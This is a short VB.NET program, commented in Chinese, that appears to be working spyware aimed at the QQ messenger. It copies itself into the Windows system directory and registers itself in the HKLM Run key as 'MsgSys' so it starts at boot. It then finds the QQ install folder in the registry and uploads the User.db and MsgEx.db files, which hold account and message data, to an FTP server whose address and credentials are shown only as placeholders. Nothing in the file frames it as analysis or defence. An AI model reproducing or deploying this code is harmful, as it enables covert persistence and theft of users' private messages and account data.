mports System.IO
Module Module1
Sub Main()
Try
'复制自己到系统目录里
File.Copy("qdb_ls.exe", Environment.SystemDirectory & "/qdb_ls.exe")
'写入系统启动注册表中
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run", "MsgSys", Environment.SystemDirectory & "/qdb_ls.exe")
'上传数据
qqdb_upftp()
Catch ex As Exception
'如果发生错误继续一次上传数据
qqdb_upftp()
End Try
End Sub
Private Sub qqdb_upftp()
Try
'从注册表里找到QQ的安装目录
Dim qq As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software/Tencent/QQ")
Dim haha As String = qq.GetValue("install").ToString()
'把数据上传到指定的ftp目录中
My.Computer.Network.UploadFile(haha & "/qq目录中的号码目录/User.db", "ftp://xxx.xxx.xxx.xxx/wwwroot/qqdb/User.db", "用户名", "密码", False, 5000, True)
My.Computer.Network.UploadFile(haha & "/qq目录中的号码目录/MsgEx.db", "ftp://xxx.xxx.xxx.xxx/wwwroot/qqdb/MsgEx.db", "用户名", "密码", False, 5000, True)
Catch ex As Exception
End Try
End Sub
End Module